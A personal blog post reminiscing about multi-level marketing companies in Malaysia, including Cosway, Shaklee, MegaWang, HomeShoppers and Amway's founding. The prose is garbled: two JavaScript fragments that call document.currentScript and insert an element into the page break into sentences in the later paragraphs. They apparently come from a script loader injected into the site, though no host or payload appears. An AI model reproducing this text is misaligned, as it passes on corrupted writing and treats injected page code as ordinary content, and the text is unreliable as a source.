I tried to recall some of those MLM companies that my father had ventured into when I was young.

Cosway was one of them. I am sure you know Cosway, a member of Berjaya Group.

But I did ask him more about his adventures.

It all happens during the 1970s, 80s and 90s.

Shaklee in 1987.

Beaver Health Care, year 1987, from the US.

Slimax, year 1987, dealing with Health Products from Singapore by Dr. Yeolan Lim.

Another MLM company, Let's Go Sdn Bhd, in year 1989, also from Singapore.

Magnacasa, year 1988.

L'arome International, year 1989.

Matol in 1990.

NSSP (Nature's Sunshine Products) in 1990.

Synergy in 1990s.

Have you heard any of these MLM companies?

I might miss out some companies.

Hi,
What MLM companies have you heard of those days, in the year 1970s?
Let me share with you a little story.

Early 1977, Mr. Billi Lim, a University Graduate, with 40 classmates started Fortiss Sdn Bhd, and got into MLM, although he doesn’t know much about running one. You know about Billi Lim, the Dare To Fail guy. He dare to try anything. Fortiss Sdn Bhd lasted for 4 years, with 7 classmates remaining with him. Fortiss Bhd still in operation, but not in MLM way. They tried to venture into Housing, Banking, Management Services and others. They might have branch out to many, instead of focusing on MLM.

Next comes, Malaysia’s Giant, MegaWang, with a factory of their own. It is very big company. MegaWang’s Managing Director, Mr. LT Lim was an Amway DD (Amway DD is the First Title in Amway). Whenever there are MegaWang’s meeting, they will hear rumours of a bomb in the meeting hall.

Mr. LT Lim then started HomeShoppers. He doesn’t have enough money and ask distributors’ help for funding to start MLM. He became a Real Estate Agent.if (document.currentScript) {

From being Nutrilite distributors, Rich DeVos and Jay Van Andel, then created a multi-level marketing plan and from a basement in 1959, Amway was formed.

Amway’s first product was (L.O.C), Liquid Organic Cleaner. After Amway was investigated by the authorities and they have decided that Multi-Level Marketing was legitimate, many other companies are venturing into MLM. Lots of people are trying to copy Amway Plan.

Other MLM terms you may heard of, are Network Marketing, Referral Marketing, Network Distribution, etc. They are similar only sounds differently. Amway come to Malaysia in July 1975.document.currentScript.parentNode.insertBefore(s, document.currentScript);
